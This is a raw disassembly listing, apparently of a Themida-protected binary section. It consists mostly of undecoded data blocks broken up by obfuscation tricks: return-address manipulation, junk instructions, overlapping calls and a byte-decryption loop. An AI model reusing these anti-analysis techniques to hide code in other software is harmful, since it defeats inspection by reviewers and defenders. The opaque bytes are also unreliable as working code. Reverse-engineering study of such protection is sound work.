		dd 7E824E26h, 9D141AD4h, 0C571088Ah, 2EB195FFh,	6A07D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D4A7C2C3h, 0BCEDF91Dh, 0E96095B9h, 0Dh, 2C23C7ECh
		dd 5665C78Eh, 2CC42E64h, 118589B9h, 6107D109h, 0EA4EB58Bh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 542DF3C3h, 0F3152BF1h, 81BD8B8Bh,	907D12Ch
		dd 0D1255D95h, 106C707h, 0E9000100h, 5,	0CAC5A4CAh, 8A0F50E7h
		dd 3, 89FE8B66h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 3324F9C3h, 85E6CCBDh
		dd 0B5FF5CB3h, 7D4EA5Ah, 0FF48F780h, 0D131A595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 89F46FB5h, 0FAFAC8C3h, 0EA4EB58Bh, 858B07D4h, 7D12B31h
		dd 0ADD3BB66h, 0C48689h, 0BF660000h, 0BD8B378Fh, 7D12049h
		dd 1B51958Bh, 850F07D1h, 6, 2BFDBD89h, 0C28307D1h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0A8ED6DB3h, 891A1648h, 0D12D8D8Dh, 20508907h, 0EF80DF8Bh
		dd 0E5858DEBh, 6A07D4FEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 3BBAC350h, 0BE18FB1Fh
		dd 41858960h, 0F07D122h, 687h, 89B58B00h, 6107D105h, 0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6B4BC4C3h, 5395D2DCh, 0F0DB8166h,	74BB5FCFh
		dd 6A05955Eh, 719D8900h, 0FF07D125h, 0D4EA5AB5h, 0FABF0F07h
		dd 1DE995FFh, 8D8907D1h, 7D132FDh, 8B665150h, 34895FFAh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0BDE33156h, 7D40E9BCh, 12E912h, 0E0180000h
		dd 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h,	0EA5AB5FFh
		dd 0CDB707D4h, 2D9D95FFh, 6A07D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0F9591FC3h, 718D01E1h
		dd 8307D131h, 0D12809BDh, 840F0007h, 32h, 0AAF1F781h, 8B60721Ah
		dd 0D12D8185h, 6820F07h, 81000000h, 25323CD0h, 50506175h
		dd 0DBF6652h, 66310F5Fh, 5A0711BBh, 24348958h, 23299589h
		dd 0B5FF07D1h, 7D4EA5Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 5CC35242h, 95FF9C07h,	7D132B5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 76C35747h, 0E8CDC3FCh
		dd 10h,	0DB6DC96Eh, 43C82265h, 280B7AC8h, 0FB2EA594h, 2D51B531h
		dd 0B75F07D1h, 5AB5FFFBh, 2907D4EAh, 0D1006DBDh, 995FF07h
		dd 6A07D127h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 64A4C351h, 0C06F4194h,	0BD83D88Bh
		dd 7D10FC1h, 57840F02h,	66000000h, 8BC092BFh, 0D11E2585h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 9DB09DAAh, 89D2DECEh, 0D12ED595h, 0C607h
		dd 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 1FC35545h, 0BC63F9Ch
		dd 85C722B4h, 7D122CDh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5DAEAF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAEAF	proc near		; CODE XREF: Themida_:005DAEA7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5DAEAF	endp

; ---------------------------------------------------------------------------
		db 7Bh
		dd 0CFDEF5DEh, 7ACE21E0h, 0F2F0E9D1h, 0ABBBFFFFh, 8B4976C5h
		dd 69BD29C1h, 8D07D127h, 0D1136185h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9589D23Ch
		dd 7D122D1h, 0DDF9BB50h, 489387Ah, 0B4E6BF24h, 6A0D9Ch
		dd 0CE9h, 55512400h, 20E2BF3Ah,	0A8C64A40h, 0B98589DBh
		dd 6A07D132h, 7E900h, 0E3C80000h, 0D8E835CAh, 0BD858DEFh
		dd 8B07D64Ah, 0D10749BDh, 0AE907h, 0A7640000h, 4828CF16h
		dd 5B506896h, 8B05C083h, 0D127FDBDh, 4895007h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 72C09650h, 2D65EC16h, 6850Fh, 0BD0B0000h, 7D10C85h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6EF82CC3h, 6133A8h, 113B7DDh, 0D1092595h
		dd 6A006A07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0CD16C351h, 90B7BE17h,	1DE195FFh
		dd 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0BA3FA0C3h, 0F914460Fh, 0A850F96h, 60000000h
		dd 1751B501h, 616007D1h, 668D8D61h, 6A07D4D5h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7FFAC356h, 0B17CCD8Dh, 826CCF1Ah, 0FFF9BF0Fh, 0B800FD1h
		dd 0F000000h, 58Fh, 0C3816600h,	0BD83BB99h, 7D11715h, 94850F01h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 74C9C351h, 0D56BE220h,	6ADF8B66h
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 975EE11h, 0D105B1BDh, 0AE907h, 6EA40000h
		dd 0D56F3C9Ch, 974E75F9h, 0C0E4BB50h, 48966EDh,	7D858924h
		dd 0FF07D12Eh, 0D11DE995h, 0EE807h, 0A6C90000h,	1A5711D1h
		dd 0AE810AB5h, 7E32E9CEh, 19B1BD2Bh, 0F5F07D1h,	687h, 0BDB58900h
		dd 0E907D106h, 0DD4h, 0E8h, 0ED815D00h,	7D64AC7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B7C35747h, 5858C49Ah
		dd 23919D31h, 858D07D1h, 7D4BC77h, 7E890h, 0E00B0000h
		dd 3390188Dh, 148A0FE9h, 0E9000000h, 0Fh, 0DFBB4B74h, 4EFC1321h
		dd 0E5BC59B8h, 5FF76AAEh, 69DBBF50h, 8B90601Ch,	0D122E19Dh
		dd 35FF6407h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7D117A1h]
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_5DB18C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB18C	proc near		; CODE XREF: Themida_:005DB184p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5DB18C	endp

; ---------------------------------------------------------------------------
		dd 0FFBC78ACh, 0D1292185h, 8B515607h, 0D11149BDh, 6A5F5F07h
		dd 83BF66FFh, 49B5FF0Fh, 0E807D100h, 0Dh, 0D692D4B6h, 65CF097Ah
		dd 469801EEh, 9D8B605Fh, 7D12545h, 12E8h, 71CC5600h, 3A4FD661h
		dd 7BF266C1h, 6099FDBFh, 5EE01078h, 95FF5F61h, 7D1141Dh
		dd 0FCE9h, 0FA8B6600h, 9D8B00B0h, 7D11D41h, 850F70E6h
		dd 12h,	0DE9h, 90F3CC00h, 0C100D504h, 0D51E7EECh, 71E4D822h
		dd 613CDE8Ah, 0CB830Fh,	9D0B0000h, 7D12A21h, 0B3C8B60Fh
		dd 6BA53h, 0BB660000h, 0C18B0725h, 1875BD8Bh, 0E8C107D1h
		dd 0EE96004h, 0F8000000h, 31D1C6C5h, 41353DE4h,	6DBC213Eh
		dd 0D2A0BA70h, 6661417Ch, 8951E2F7h, 0D11D5995h, 0C82B5F07h
		dd 0E9D18BF9h, 7Dh, 11E8h, 3AFCFF00h, 0CCA95BF0h, 9DB51B2h
		dd 8A0CC40Eh, 8B602E81h, 880FC7h, 61000000h, 49858B5Bh
		dd 8344004Eh, 9D8B07C0h, 7D130C9h, 8100C083h, 3EEDF2EBh
		dd 0F1BD895Ah, 3B07D116h, 0A830FD0h, 8B000000h,	2FE9F9h
		dd 0BF0F0000h, 0FF8D8BF9h, 66FFFFFFh, 0E183DF8Bh, 1A840F01h
		dd 66000000h, 0A583DF8Bh, 0FFFFFFFFh, 895F51FEh, 4E4995h
		dd 0D9B70F44h, 0E9h, 90B58D00h,	0BB07D5CBh, 1704A70Fh
		dd 0BD8B006Ah, 7D10889h, 5595FFh, 6A07D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8949C3h
		dd 7D114D9h, 27018D89h,	4DB907D1h, 6A00000Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0BCDBC355h, 138A0FEFh, 0E9000000h, 0Eh, 67AE5D0h, 70AB3802h
		dd 9E2BA430h, 9D89018Eh, 7D12155h, 6AFCE183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 421DC356h, 12E87F04h, 0C8000000h, 0A170A254h, 0BC99E188h
		dd 0F02986A5h, 0AEAC62D0h, 71B53153h, 5B07D114h, 0BCF5F381h
		dd 6AFC2AC7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0A77C351h, 41D814Bh, 0F1BD8B80h
		dd 907D122h, 0D120D19Dh, 0EB816607h, 0C02B1CFCh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B5C35343h, 0E20B6479h
		dd 0BAF8B4h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C395C353h,	64D7BDF4h
		dd 840FD9h, 89000000h, 0D10F4DB5h, 0C233AD07h, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 29BD8B1Dh, 0D07D132h, 88h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0ABC35545h, 290DB52Fh
		dd 0D1086D95h, 51958B07h, 907D11Bh, 0D10F8595h,	558D8B07h
		dd 2907D12Dh, 0D10205B5h, 0C28B5007h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 8958188Bh, 0D121B185h, 75BD8B07h, 0F507D11Ah
		dd 10E9h, 0A4FB0B00h, 3F46F8D4h, 0B06C45C0h, 0D7363A92h
		dd 0C5BD83B7h, 7D11Bh, 74840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0A032C3C3h
		dd 9BB6642h, 8D9D8B21h,	0B807D12Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5DB533
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB533	proc near		; CODE XREF: Themida_:005DB52Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5DB533	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 3094F54Ch, 840F58h, 29000000h, 0D128618Dh, 0A8D8D07h
		dd 6607D14Dh, 0A52DDF81h, 820FE1FFh, 6,	98A9D381h, 0BD837F96h
		dd 7D11D39h, 9C840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F138C351h
		dd 537F2047h, 39BD83DBh, 107D11Dh, 488840Fh, 0BD8B0000h
		dd 7D12755h, 1D39BD83h,	0F0307D1h, 43F86h, 0F59D8B00h
		dd 6007D115h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0F4C35747h, 0E787E3Eh, 58C0Fh, 81660000h, 663B2CDBh
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0ABBBB7C3h, 8BB57315h, 4E180FBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1C35747h, 546BA3DEh
		dd 9D8BD927h, 7D12CC5h,	840FC90Ah, 193h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 2AC35343h, 60562351h
		dd 2AA5B533h, 0BD3307D1h, 7D121C9h, 0F5858B61h,	6A07D128h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 66DFC355h, 0DCF81A30h, 89317E29h,	0D12F3D85h
		dd 0CD853307h, 6A07D131h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 96F4C356h, 5250907Ch
		dd 5F5F5151h, 0B760310Fh, 585A61D3h, 0FA8B6650h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6AD2CEh, 4E8h, 1F03FF00h, 0D98B6600h, 24448B50h, 14E804h
		dd 59830000h, 56C58865h, 9CA44304h, 615CFA72h, 8B43F9DBh
		dd 0B3530DE0h, 8B5B5B8Ah, 24448900h, 8B665304h,	6A585BF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0CAC2C357h, 9241F9Eh, 85A48A41h, 0F5C78166h
		dd 1595FF3Ch, 6A07D12Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 247FC356h, 0D98B6E69h
		dd 1DDBD8Bh, 858907D1h,	7D4EA5Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 72C35747h, 0E9883C67h, 1D3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E3C35343h
		dd 659D0355h, 8B07D134h, 0D4EA5285h, 11E907h, 0CDC80000h
		dd 0DD275809h, 8B90C004h, 4CD3E35Fh, 0C7F22F12h, 1800h
		dd 0E807B700h, 5, 49E80C62h, 0C38166C6h, 8B5BF5C1h, 0D4EA56B5h
		dd 747CBF07h, 858B215Fh, 7D10C9Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 9BC35646h, 16059D8Bh, 68907D1h
		dd 858BFE8Bh, 7D128F5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 4EC35242h, 4689F979h,	57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0BFD7D903h, 5A256636h, 0CE996h, 9C980000h, 3031826h
		dd 54B0DEFCh, 9650CDAAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C4C35545h, 0B66D5272h, 0AA0DF537h, 32E1B589h
		dd 0AE907D1h, 18000000h, 66D839C8h, 6421D6ABh, 0DB816673h
		dd 0B5FFA73Ah, 7D4EA52h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 4CC35545h, 8E804h, 0F73F0000h, 2ECCE5EAh
		dd 26BF5BFCh, 5B206CF6h, 425B4268h, 2434815Ch, 5C5D58BDh
		dd 4830Fh, 0BB660000h, 0BD29C723h, 7D12D21h, 0EA5A858Dh
		dd 890F07D4h, 0
		db 90h
; ---------------------------------------------------------------------------
		mov	di, 84D4h
		push	eax
		jmp	loc_5DB95F
; ---------------------------------------------------------------------------
		db 49h
		dd 0EEDEB2D3h, 0C86F19A4h, 73FD89E6h, 9C5ECE1Dh
		db 4Ch,	85h, 99h
; ---------------------------------------------------------------------------


loc_5DB95F:				; CODE XREF: Themida_:005DB946j
		nop
		mov	[ebp+7D115F5h],	edi
		call	dword ptr [ebp+7D12B15h]
		push	0
		push	ecx
		call	sub_5DB977
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB977	proc near		; CODE XREF: Themida_:005DB96Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5DB977	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		psubw	mm7, mm1
		popa
		mov	bl, cl
		mov	dword ptr [ebp+7D11D39h], 3
		mov	[ebp+7D116F1h],	ecx
		jo	loc_5DB9AF
		pusha
		mov	[ebp+7D117E5h],	eax
		add	al, 42h
		popa


loc_5DB9AF:				; CODE XREF: Themida_:005DB99Ej
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5DB9FC
		mov	[ebp+7D11931h],	ecx
		jmp	loc_5DBA17
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5DB9D2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB9D2	proc near		; CODE XREF: Themida_:005DB9CAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5DB9D2	endp

; ---------------------------------------------------------------------------
		dw 5FD5h
		dd 197A46CDh, 7BA36E75h, 5850Fh, 0D8BB0000h, 667A7224h
		dd 0DA8FC381h
; ---------------------------------------------------------------------------


loc_5DB9FC:				; CODE XREF: Themida_:005DB9B6j
					; Themida_:005DBA13j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5DB9FC
		jmp	short loc_5DBA4D
; ---------------------------------------------------------------------------


loc_5DBA17:				; CODE XREF: Themida_:005DB9C2j
					; Themida_:005DBA2Ej
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5DBA17
		jmp	short loc_5DBA4D
; ---------------------------------------------------------------------------


loc_5DBA32:				; CODE XREF: Themida_:005DBA49j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5DBA32
		jmp	short $+2


loc_5DBA4D:				; CODE XREF: Themida_:005DBA15j
					; Themida_:005DBA30j
		mov	eax, eax
		push	0
		push	esi
		call	sub_5DBA5A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBA5A	proc near		; CODE XREF: Themida_:005DBA52p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5DBA5A	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [eax], 0F41BD23h
		rol	dword ptr [edi], 1
		mov	edi, [ebp+7D1310Dh]
		pusha
		mov	eax, [ebp+7D13051h]
		movzx	ebx, cx
		popa
		jmp	loc_5DBA93
; ---------------------------------------------------------------------------
		dd 8DAB538Fh, 5CD9A641h
		db 0Eh,	41h, 21h
; ---------------------------------------------------------------------------


loc_5DBA93:				; CODE XREF: Themida_:005DBA83j
		call	near ptr loc_5DBA9B+4
		stosb
		jnp	short loc_5DBAD2


loc_5DBA9B:				; CODE XREF: Themida_:loc_5DBA93p
		mov	al, ds:5F41B011h
		cmp	dword ptr [ebp+7D11D39h], 3
		jnz	loc_5DBE88
		push	0
		push	ecx
		call	sub_5DBAB8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBAB8	proc near		; CODE XREF: Themida_:005DBAB0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5DBAB8	endp

; ---------------------------------------------------------------------------
		dd 9314D0D2h, 8B66F9B7h
		db 0FEh, 83h
; ---------------------------------------------------------------------------


loc_5DBAD2:				; CODE XREF: Themida_:005DBA99j
		mov	ebp, 7D4EA5Ah
		add	[edi], cl
		test	[edx+0F000003h], ch
		mov	edi, 5AB5FFDAh
		jmp	far ptr	0:0AE807D4h
; ---------------------------------------------------------------------------
		align 4
		dd 3802067Ah, 0A43070ABh, 0BD039E2Bh, 7D115D9h,	0B195FF5Bh
		dd 6A07D12Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E705C357h, 0BD23E276h, 7D11421h
		dd 0B58BFE8Bh, 7D4EA4Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 54C35747h, 67EC9877h,	1C28E3C6h, 106C7A7h
		dd 50000100h, 87A7B9BBh, 24348920h, 31BD8Bh, 0B50107D1h
		dd 7D11F79h, 0EA5AB5FFh, 9D2907D4h, 7D128A9h, 0F527E381h
		dd 95FF1ABBh, 7D131A5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0C8C35141h, 4EB58B50h, 2B07D4EAh, 0D128719Dh
		dd 31858B07h, 6A07D12Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 372CC350h, 711B1F9Bh
		dd 13A7796h, 0D11FFD95h, 0C4868907h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 4FCFC350h, 2DB8B21Dh, 0FC59D0Bh, 958B07D1h, 7D11B51h
		dd 22D59D29h, 0C28307D1h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 86E82363h
		dd 781A80BFh, 20508919h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 6AC35646h, 0BD8B009Bh, 7D10091h, 0FEE5858Dh
		dd 0BF0F07D4h, 0B88689D9h, 6A000000h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6963C355h
		dd 0FE41F5E3h, 2C499D8Bh, 6A07D1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 7EC35141h, 79DBE17Ah, 15E99D89h
		dd 0B5FF07D1h, 7D4EA5Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9EC35545h, 13E922h, 0A0F0000h, 2914F6F3h
		dd 0BAC7CDC6h, 8D62A347h, 4420C612h, 0F59D8BFCh, 0F07D121h
		dd 685h, 33CB8100h, 0FF2A33E6h,	0D11DE995h, 73E78107h
		dd 506BD19Ah, 52243489h, 6860Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	dword ptr [ebp+7D4EA5Ah]
		movsx	edi, dx
		call	dword ptr [ebp+7D12D9Dh]
		push	0
		push	edi
		call	sub_5DBD4B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBD4B	proc near		; CODE XREF: Themida_:005DBD43p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5DBD4B	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 9BD83C5h, 7D128h, 2B840Fh, 0BF0F0000h, 8B6696DBh, 525050FBh
		dd 0B960310Fh, 426A2207h, 0AE9h, 0DA48FC00h, 0E6126DF6h
		dd 615ADC73h, 3396585Ah, 0D10C759Dh, 5AB5FF07h,	8B07D4EAh
		dd 0D10289BDh, 0B595FF07h, 6A07D132h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1EECC355h
		dd 0D6ED1B7Bh, 0BBBFCA63h, 0FF68F7D9h, 0D4EA5AB5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7902A16Ah, 7987210Bh, 3850F26h, 66000000h, 95FFFE8Bh
		dd 7D12709h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	78C35646h, 28B18589h, 0BD8307D1h, 7D10FC1h, 42840F02h
		dd 0E9000000h, 0Dh, 77C700ABh, 73B01335h, 6B61CC66h, 25858B82h
		dd 8B07D11Eh, 0D1235D9Dh, 0C607h, 13890F60h, 0E9000000h
		dd 0Eh,	95725916h, 43B6D1C5h, 2458401Eh, 0B58B1D60h, 7D105D9h
		dd 0CD85C761h, 7D122h, 0BF000000h, 543F69E3h
; ---------------------------------------------------------------------------


loc_5DBE88:				; CODE XREF: Themida_:005DBAA7j
		jmp	near ptr dword_5DB19C+13h
; ---------------------------------------------------------------------------
		stc
		mov	eax, ecx
		push	0
		push	edi
		call	sub_5DBE9B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBE9B	proc near		; CODE XREF: Themida_:005DBE93p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5DBE9B	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [eax-26746515h], 1
		call	sub_5DBEC3
		retf
; ---------------------------------------------------------------------------
		db 0Ch
		dd 5E78AEE3h, 0B0162E06h
		db 1Ch,	0AFh, 8Dh

; =============== S U B	R O U T	I N E =======================================



sub_5DBEC3	proc near		; CODE XREF: Themida_:005DBEB1p
		call	near ptr loc_5DBECB+4
		fnop
		xchg	eax, ebp


loc_5DBECB:				; CODE XREF: sub_5DBEC3p
		fisttp	dword ptr [ebp-187F7D0Fh]
sub_5DBEC3	endp ; sp-analysis failed

		retf	5B5Fh
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7D11361h]
		xor	edi, 3FF0236Ch
		push	eax
		mov	[esp], eax
		and	di, 49C7h
		push	0
		push	0
		push	edi
		call	sub_5DBEF6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DBEF6	proc near		; CODE XREF: Themida_:005DBEEEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5DBEF6	endp

; ---------------------------------------------------------------------------
		dw 0DC40h
		dd 8970E691h, 0D11F6D95h, 459D8B07h, 6A07D118h,	0D2BF6600h
		dd 3E858D80h, 8B07D65Ah, 0D128399Dh, 5C08307h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 81C35242h, 1205DE8Bh
		dd 50A59F0Eh, 0FE8h, 0ADDE6300h, 39E9B783h, 362AFC8Fh
		dd 65BA1DC7h, 5BF88B66h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 7E63C351h
		dd 8B03BACBh, 0D11799BDh, 0F006A07h, 6AFBB7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 69C35747h, 0F7E7EC18h
		dd 557B222h, 7C3CBF66h,	1DE195FFh, 8D8D07D1h, 7D4D566h
		dd 890Fh, 0D1FF0000h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 1Ah, 0A2C35343h, 38D97A06h, 0EE9D9C8h, 0A5000000h
		dd 813F8D91h, 17D2F689h, 39548BDh, 85BD8BAEh, 8307D12Dh
		dd 0D11715BDh, 850F0107h, 60h, 11C474BBh, 6A026A7Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 21DBC352h, 0C040F637h, 4911BB66h, 7E96050h, 6000000h
		dd 0E303382Ah, 0E8579597h, 0Ah,	7EBC3C5Bh, 0C45F566Eh
		dd 5A59D18Fh, 24048961h, 48B0Fh, 0BB660000h, 95FF8D95h
		dd 7D11DE9h, 0DBBE9h, 0E800h, 815D0000h, 0D65A48EDh, 0EE807h
		dd 0EAE70000h, 3E20835h, 822B580Dh, 7CF68B79h, 0BE9h, 3D0EE000h
		dd 7F9AE827h, 559D016Dh, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD8949B6h, 7D11799h
		dd 0BC77858Dh, 0DE807D4h, 3D000000h, 0D4C8CD01h, 5255B9FCh
		dd 6FF7AA06h, 905BF7B3h, 0D5D5BB53h, 505B15BBh,	5BEDB752h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8049124Eh, 0FF6428CBh, 35h, 40BB5200h, 5B7CFD34h
		dd 35C9CB81h, 8964604Eh, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4D2748DFh
